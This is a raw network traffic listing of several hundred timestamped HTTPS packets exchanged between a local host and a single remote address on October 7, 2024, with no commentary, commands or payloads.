Oct 7, 2024 06:45:43.054848909 CEST	443	49828	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.054908991 CEST	49828	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.054991961 CEST	49828	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.055002928 CEST	443	49828	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.069668055 CEST	443	49823	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.069802046 CEST	443	49823	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.069897890 CEST	49823	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.070092916 CEST	49823	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.070139885 CEST	443	49823	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.070169926 CEST	49823	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.070185900 CEST	443	49823	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.072849035 CEST	49829	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.072877884 CEST	443	49829	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.072951078 CEST	49829	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.073086977 CEST	49829	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.073098898 CEST	443	49829	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.088933945 CEST	443	49825	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.089426041 CEST	49825	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.089467049 CEST	443	49825	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.090051889 CEST	49825	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.090065002 CEST	443	49825	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.192321062 CEST	443	49825	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.192485094 CEST	443	49825	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.192873955 CEST	49825	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.192873955 CEST	49825	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.192873955 CEST	49825	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.196161985 CEST	49830	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.196198940 CEST	443	49830	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.196288109 CEST	49830	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.196423054 CEST	49830	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.196445942 CEST	443	49830	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.323883057 CEST	49822	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.323961020 CEST	443	49822	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.495621920 CEST	49825	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.495691061 CEST	443	49825	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.692661047 CEST	443	49828	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.696264029 CEST	49828	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.696288109 CEST	443	49828	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.696659088 CEST	49828	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.696666956 CEST	443	49828	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.701423883 CEST	443	49826	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.704061031 CEST	49826	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.704153061 CEST	443	49826	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.704319000 CEST	49826	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.704335928 CEST	443	49826	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.708457947 CEST	443	49827	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.711711884 CEST	49827	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.711724997 CEST	443	49827	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.712065935 CEST	49827	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.712071896 CEST	443	49827	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.726681948 CEST	443	49829	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.728024960 CEST	49829	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.728058100 CEST	443	49829	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.728455067 CEST	49829	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.728473902 CEST	443	49829	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.795084000 CEST	443	49828	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.795164108 CEST	443	49828	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.795248032 CEST	49828	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.795265913 CEST	443	49828	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.795288086 CEST	443	49828	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.795340061 CEST	49828	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.806267023 CEST	443	49826	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.806360006 CEST	443	49826	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.806616068 CEST	49826	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.809040070 CEST	443	49827	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.809214115 CEST	443	49827	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.809310913 CEST	49827	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.880502939 CEST	49828	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.880542994 CEST	443	49828	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.880557060 CEST	49828	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.880563974 CEST	443	49828	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.898524046 CEST	49826	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.898524046 CEST	49826	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.898602962 CEST	443	49826	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.898674011 CEST	443	49826	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.909446001 CEST	49827	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.909497023 CEST	443	49827	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.909513950 CEST	49827	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.909523010 CEST	443	49827	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.914510012 CEST	49831	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.914546967 CEST	443	49831	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.914618969 CEST	49831	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.914889097 CEST	49831	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.914900064 CEST	443	49831	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.915822983 CEST	49832	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.915915012 CEST	443	49832	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.915992022 CEST	49832	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.916591883 CEST	49833	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.916640043 CEST	443	49833	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.916697025 CEST	49833	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.916757107 CEST	49832	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.916790962 CEST	49833	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.916799068 CEST	443	49833	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.916834116 CEST	443	49832	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.021123886 CEST	443	49829	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.021281958 CEST	443	49829	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.021384954 CEST	49829	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.025327921 CEST	49829	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.025346994 CEST	443	49829	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.025357962 CEST	49829	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.025362968 CEST	443	49829	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.027074099 CEST	443	49830	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.040853024 CEST	49830	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.040875912 CEST	443	49830	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.041455984 CEST	49830	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.041460991 CEST	443	49830	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.065912008 CEST	49834	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.065968990 CEST	443	49834	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.066044092 CEST	49834	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.071121931 CEST	49834	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.071146965 CEST	443	49834	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.137767076 CEST	443	49830	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.137927055 CEST	443	49830	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.137991905 CEST	49830	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.167715073 CEST	49830	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.167743921 CEST	443	49830	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.167756081 CEST	49830	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.167762995 CEST	443	49830	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.205163956 CEST	49835	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.205240965 CEST	443	49835	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.205319881 CEST	49835	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.205862999 CEST	49835	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.205898046 CEST	443	49835	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.654500008 CEST	443	49833	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.655549049 CEST	49833	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.655586004 CEST	443	49833	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.656037092 CEST	49833	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.656044006 CEST	443	49833	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.665203094 CEST	443	49831	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.665707111 CEST	49831	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.665723085 CEST	443	49831	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.670464993 CEST	49831	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.670471907 CEST	443	49831	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.697110891 CEST	443	49832	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.697885990 CEST	49832	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.697926044 CEST	443	49832	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.699177027 CEST	49832	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.699193001 CEST	443	49832	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.712476015 CEST	443	49834	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.712997913 CEST	49834	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.713022947 CEST	443	49834	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.713536024 CEST	49834	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.713541985 CEST	443	49834	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.752422094 CEST	443	49833	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.752484083 CEST	443	49833	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.752543926 CEST	443	49833	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.752551079 CEST	49833	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.752612114 CEST	49833	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.752839088 CEST	49833	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.752860069 CEST	443	49833	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.752871990 CEST	49833	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.752878904 CEST	443	49833	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.756355047 CEST	49836	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.756411076 CEST	443	49836	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.756480932 CEST	49836	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.756671906 CEST	49836	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.756689072 CEST	443	49836	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.766722918 CEST	443	49831	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.766850948 CEST	443	49831	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.766901970 CEST	49831	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.767020941 CEST	49831	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.767040968 CEST	443	49831	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.767050982 CEST	49831	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.767057896 CEST	443	49831	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.769885063 CEST	49837	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.769937992 CEST	443	49837	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.770065069 CEST	49837	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.770239115 CEST	49837	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.770256996 CEST	443	49837	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.800884008 CEST	443	49832	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.801074028 CEST	443	49832	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.801151037 CEST	49832	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.801215887 CEST	49832	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.801215887 CEST	49832	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.801260948 CEST	443	49832	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.801289082 CEST	443	49832	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.804081917 CEST	49838	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.804119110 CEST	443	49838	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.804194927 CEST	49838	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.804378033 CEST	49838	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.804406881 CEST	443	49838	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.810504913 CEST	443	49834	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.810666084 CEST	443	49834	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.810735941 CEST	49834	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.810790062 CEST	49834	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.810812950 CEST	443	49834	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.810830116 CEST	49834	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.810837984 CEST	443	49834	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.814273119 CEST	49839	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.814302921 CEST	443	49839	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.814366102 CEST	49839	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.814555883 CEST	49839	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.814570904 CEST	443	49839	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.850779057 CEST	443	49835	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.851401091 CEST	49835	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.851427078 CEST	443	49835	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.851882935 CEST	49835	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.851893902 CEST	443	49835	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.949089050 CEST	443	49835	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.949285984 CEST	443	49835	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.949381113 CEST	49835	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.949425936 CEST	49835	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.949577093 CEST	49835	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.949592113 CEST	443	49835	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.949642897 CEST	49835	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.949659109 CEST	443	49835	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.953336000 CEST	49840	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.953378916 CEST	443	49840	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:44.953486919 CEST	49840	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.953721046 CEST	49840	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:44.953733921 CEST	443	49840	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.399048090 CEST	443	49836	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.399883986 CEST	49836	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.399914980 CEST	443	49836	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.400641918 CEST	49836	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.400650024 CEST	443	49836	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.446757078 CEST	443	49839	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.447417021 CEST	49839	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.447469950 CEST	443	49839	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.447952986 CEST	49839	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.447962046 CEST	443	49839	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.455832958 CEST	443	49837	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.456274986 CEST	49837	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.456309080 CEST	443	49837	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.456846952 CEST	49837	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.456855059 CEST	443	49837	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.465256929 CEST	443	49838	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.465698957 CEST	49838	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.465708971 CEST	443	49838	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.466234922 CEST	49838	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.466239929 CEST	443	49838	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.498353004 CEST	443	49836	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.498439074 CEST	443	49836	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.498526096 CEST	49836	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.498542070 CEST	443	49836	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.498560905 CEST	443	49836	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.498622894 CEST	49836	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.498856068 CEST	49836	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.498873949 CEST	443	49836	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.498898983 CEST	49836	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.498904943 CEST	443	49836	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.502636909 CEST	49841	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.502700090 CEST	443	49841	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.502799034 CEST	49841	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.503029108 CEST	49841	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.503038883 CEST	443	49841	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.544950962 CEST	443	49839	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.545162916 CEST	443	49839	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.545264959 CEST	49839	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.555975914 CEST	49839	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.556000948 CEST	443	49839	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.556015968 CEST	49839	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.556024075 CEST	443	49839	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.559607029 CEST	443	49837	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.559709072 CEST	443	49837	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.559779882 CEST	49837	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.559988022 CEST	49837	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.560010910 CEST	443	49837	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.560024023 CEST	49837	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.560031891 CEST	443	49837	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.560122967 CEST	49842	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.560169935 CEST	443	49842	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.560231924 CEST	49842	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.560879946 CEST	49842	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.560900927 CEST	443	49842	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.562783957 CEST	49843	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.562814951 CEST	443	49843	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.562882900 CEST	49843	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.563009024 CEST	49843	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.563021898 CEST	443	49843	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.565130949 CEST	443	49838	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.565272093 CEST	443	49838	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.565334082 CEST	49838	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.565360069 CEST	49838	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.565371037 CEST	443	49838	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.567768097 CEST	49844	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.567858934 CEST	443	49844	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.567944050 CEST	49844	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.568073988 CEST	49844	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.568101883 CEST	443	49844	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.642045021 CEST	443	49840	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.642720938 CEST	49840	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.642744064 CEST	443	49840	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.643347979 CEST	49840	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.643357038 CEST	443	49840	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.745562077 CEST	443	49840	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.745637894 CEST	443	49840	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.745755911 CEST	443	49840	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.745820045 CEST	49840	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.745820045 CEST	49840	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.746076107 CEST	49840	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.746076107 CEST	49840	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.746104002 CEST	443	49840	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.746117115 CEST	443	49840	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.750910044 CEST	49845	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.750967979 CEST	443	49845	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:45.751055002 CEST	49845	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.751482964 CEST	49845	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:45.751502037 CEST	443	49845	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.143979073 CEST	443	49841	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.144939899 CEST	49841	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.144973993 CEST	443	49841	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.145587921 CEST	49841	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.145593882 CEST	443	49841	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.218789101 CEST	443	49843	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.219434977 CEST	49843	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.219460964 CEST	443	49843	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.219923973 CEST	49843	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.219929934 CEST	443	49843	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.220479965 CEST	443	49844	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.220782042 CEST	49844	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.220849991 CEST	443	49844	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.221139908 CEST	49844	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.221153975 CEST	443	49844	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.227520943 CEST	443	49842	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.228146076 CEST	49842	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.228172064 CEST	443	49842	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.228286982 CEST	49842	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.228292942 CEST	443	49842	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.242010117 CEST	443	49841	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.242191076 CEST	443	49841	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.242268085 CEST	49841	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.247262955 CEST	49841	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.247284889 CEST	443	49841	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.247296095 CEST	49841	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.247302055 CEST	443	49841	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.251066923 CEST	49846	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.251130104 CEST	443	49846	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.251207113 CEST	49846	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.251559019 CEST	49846	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.251578093 CEST	443	49846	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.317733049 CEST	443	49843	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.317898989 CEST	443	49843	13.107.246.45	192.168.2.8
